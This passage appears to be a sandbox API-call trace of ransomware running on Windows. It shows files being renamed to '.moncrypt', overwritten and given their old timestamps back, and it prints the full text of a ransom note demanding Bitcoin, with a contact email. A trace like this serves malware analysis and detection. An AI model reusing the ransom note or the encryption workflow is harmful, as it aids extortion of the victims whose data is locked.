lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0051.017] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm.moncrypt")) returned 1 [0051.018] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.018] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.018] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xe1ba [0051.018] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.018] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0051.021] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.021] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0051.021] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0051.021] GlobalUnlock (hMem=0x44000c) returned 0 [0051.021] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0051.021] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0051.021] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0051.021] GlobalUnlock (hMem=0x44000c) returned 0 [0051.022] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0051.022] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0051.022] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.022] GlobalUnlock (hMem=0x440004) returned 0 [0051.022] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0051.022] GlobalUnlock (hMem=0x44000c) returned 0 [0051.022] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.022] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.022] GlobalUnlock (hMem=0x44000c) returned 0 [0051.022] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0051.022] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.022] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.022] GlobalUnlock (hMem=0x44000c) returned 0 [0051.022] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0051.022] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0051.022] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0051.022] SetFilePointer (in: hFile=0x18c, lDistanceToMove=57786, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0xe1ba [0051.022] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0051.022] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0051.022] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0051.033] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0051.033] CloseHandle (hObject=0x18c) returned 1 [0051.034] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.034] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0051.034] CloseHandle (hObject=0x18c) returned 1 [0051.035] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0051.035] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0051.035] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.035] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.035] GlobalUnlock (hMem=0x44000c) returned 0 [0051.035] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.035] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.035] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.035] GlobalUnlock (hMem=0x44000c) returned 0 [0051.035] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.035] GlobalUnlock (hMem=0x440004) returned 0 [0051.035] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0051.035] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e69fe8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0051.036] GetLastError () returned 0x2 [0051.036] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.038] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0051.038] CloseHandle (hObject=0x18c) returned 1 [0051.039] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf86a7300, ftCreationTime.dwHighDateTime=0x1c47827, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf86a7300, ftLastWriteTime.dwHighDateTime=0x1c47827, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.INF", cAlternateFileName="")) returned 1 [0051.039] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.039] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.039] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.039] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.039] GlobalUnlock (hMem=0x440004) returned 0 [0051.039] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.039] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.039] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.039] GlobalUnlock (hMem=0x440004) returned 0 [0051.039] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.039] GlobalUnlock (hMem=0x44000c) returned 0 [0051.039] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.039] CharLowerBuffW (in: lpsz="CAPSULES.INF", cchLength=0xc | out: lpsz="capsules.inf") returned 0xc [0051.039] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.039] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.039] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.039] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.039] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.039] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.039] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.039] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.040] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0051.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", cchWideChar=77, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpUsedDefaultChar=0x0) returned 77 [0051.040] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0051.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpUsedDefaultChar=0x0) returned 4 [0051.040] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0051.040] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.040] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.040] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.040] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.040] GlobalUnlock (hMem=0x44000c) returned 0 [0051.040] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.040] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.040] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.040] GlobalUnlock (hMem=0x44000c) returned 0 [0051.040] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.040] GlobalUnlock (hMem=0x440004) returned 0 [0051.040] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.041] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0051.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.041] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0051.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", cchWideChar=76, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIFp", lpUsedDefaultChar=0x0) returned 76 [0051.041] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0051.041] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifShared\\THEMES14\\CAPSULES\\PREVIEW.GIFp", lpUsedDefaultChar=0x0) returned 4 [0051.041] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0051.041] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.041] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.042] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.042] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.042] GlobalUnlock (hMem=0x440004) returned 0 [0051.042] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.042] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.042] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.042] GlobalUnlock (hMem=0x440004) returned 0 [0051.042] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.042] GlobalUnlock (hMem=0x44000c) returned 0 [0051.042] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.042] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0051.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.042] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0051.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", cchWideChar=77, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 77 [0051.043] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 